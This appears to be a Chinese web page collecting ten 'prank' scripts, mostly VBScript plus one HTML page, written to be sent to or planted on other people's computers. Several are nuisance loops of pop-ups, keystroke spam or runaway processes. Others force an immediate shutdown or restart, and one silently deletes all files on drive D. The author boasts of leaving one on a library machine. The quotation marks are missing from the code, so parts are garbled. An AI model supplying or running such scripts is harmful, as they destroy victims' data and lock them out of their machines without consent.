整人代码大全

整人代码大全

1、【代码一】
你打开好友的聊天对话框,然后记下在你QQ里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。
代码如下：
On Error Resume Next
Dim wsh,ye
set wsh=createobject(wscript.shell)
for i=1 to 10
wscript.sleep 700
wsh.AppActivate(与 xx 聊天中)
wsh.sendKeys ^v
wsh.sendKeys i
wsh.sendKeys %s
next
wscript.quit
2、【代码二】
我就用这个程序放在学校图书馆查询书刊的机器上，好多人都拿它没办法。
do
msgbox You are foolish!
loop
3、【代码三】
打开无数个计算器，直到死机。
set wsh=createobject(wscript.shell)
do
wsh.run calc
loop
4、【代码四】
直接关机。
dim WSHshell
set WSHshell = wscript.createobject(wscript.shell)
WSHshell.run shutdown -f -s -t 00,0 ,true
5、【代码五】
删除D:所有文件。
dim WSHshell
set WSHshell = wscript.createobject(wscript.shell)
WSHshell.run cmd /c del d:*.* / f /q /s,0 ,true
6、【代码六】
不断弹出窗口
while(1)
msgbox 哈哈 你被耍了！
loop
7、【代码七】
不断按下alt+f4（开什么都关闭）。
dim WSHshell
set WSHshell = wscript.createobject(wscript.shell)
while(1)
WSHshell.SendKeys %{F4}
loop
8、【代码八】
按500次回车 （以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改）。
dim s
do until s=500
s=s+1
msgbox 哥们，给我按500次回车吧,64
loop
9、【代码九】
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(wscript.shell)
WSHshellA.run cmd.exe /c shutdown -r -t 180 -c 说我是猪，不说我是猪就一分钟关机，不信，试下 ,0 ,true
dim a
do while(a
我是猪)
a = inputbox (说我是猪,就不关机，快撒，说 我是猪　,说不说,,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox
loop
msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛
dim WSHshell
set WSHshell = wscript.createobject(wscript.shell)
WSHshell.run cmd.exe /c shutdown -a,0 ,true
msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，好乖
10、【代码十】
网页整人效果代码，想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
html
head
meta http-equiv=Content-Type content=text/html; charset=gb2312
title网页特效|Linkweb.cn/Js|---很恶心的常见整人效果/title
/head
body
a href= onMouseover=alert(为什么把鼠标放到这里?);
alert(我不是说过不可以这样吗？);
alert(你把我的话当什么了？);
alert(你知道错了吗？);
alert(什么？你居然....);
alert(居然还没意识到自己做错了？);
alert(那好，你要为此付出代价!);
alert(我要你在这里点足一千下......);
alert(什么？你开始有点后悔了？);
alert(何必呢？);
alert(你当初干什么去了？);
alert(不原谅你！);
alert(好从现在开始再点995下......);
alert(你的手开始累了吗?);
alert(什么？你已经没力气了？);
alert(你一直在求我原谅你啊！);
alert(看来你是真的知道错了!);
alert(下次你还会这么做吗？);
alert(真的不会了？);
alert(那好，今天就放你一马！);
alert(写封信给我说声对不起!);
alert(你能这么做我很高兴!!!);
document.bgColor=black;
document.fgColor=White;
window.location.href=mailto:mygod@god?subject=对不起,下次不敢了!;不许把鼠标移到这里/a
/body
/html2024-04-14